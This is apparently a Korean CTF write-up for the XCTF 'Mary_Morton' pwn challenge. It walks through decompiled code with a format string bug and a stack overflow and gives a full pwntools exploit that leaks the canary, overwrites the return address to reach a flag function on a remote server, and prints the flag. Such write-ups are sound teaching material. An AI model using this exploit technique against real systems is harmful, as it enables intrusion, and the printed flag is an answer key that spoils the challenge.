-
Mary_MortonCTF/XCTF 2021. 2. 11. 00:33
Disassembly 디스어셈블리
void main() { init(); puts("Welcome to the battle ! "); puts("[Great Fairy] level pwned "); puts("Select your weapon "); while( true ) { menu(); scanf("%d", &num); if (num == 1) { bof(); } else if (num == 2) { fsb(); } else if (num == 3) { break; } else { puts("Wrong!"); } } puts("Bye "); exit(0); }
main에서는 bof와 fsb를 호출할 수 있다.
void fsb(void) { undefined8 str; // rbp - 0x90 memset(&str, 0, 0x80) read(0, &str, 0x7f); printf(&str); return; }
fsb는 포맷 스트링 버그가 발생하고,
void bof(void) { undefined8 str; // rbp - 0x90 memset(&str, 0, 0x80) read(0, &str, 0x100); printf("-> %s\n", &str); return; }
bof는 스택 버퍼 오버플로우가 발생한다.
Leak canary
p.recvuntil("Exit the battle \n") p.sendline("2") p.send("%23$lx") canary = int(p.recv(16), 16) log.info("canary : " + hex(canary))
스택 버퍼 오버플로우를 이용하기에 앞서 포맷 스트링 버그를 이용해 카나리를 알아내자.
RET Overwrite
void flag(void) // 0x004008da { system("/bin/cat ./flag"); return; }
이제 return address를 위 함수의 주소로 덮어주면 플래그를 알아낼 수 있다.
Code
더보기from pwn import * binary = "./mary_morton" server = "111.200.241.244" port = 43908 # context.log_level = 'debug' context.binary = binary if True: p = remote(server, port) else: p = gdb.debug([binary], gdbscript = 'set debug-file-directory ./x86_64-linux-gnu') e = ELF(binary) r = ROP(e) e.checksec() p.recvuntil("Exit the battle \n") p.sendline("2") p.send("%23$lx") canary = int(p.recv(16), 16) log.info("canary : " + hex(canary)) p.recvuntil("Exit the battle \n") p.sendline("1") payload = b"\x90"*0x88 payload += p64(canary) payload += b"\x90"*0x8 payload += p64(0x4008da) p.send(payload) p.recvline() p.interactive()
Flag
cyberpeace{d752e7fb1f195b05c98638620b86c232}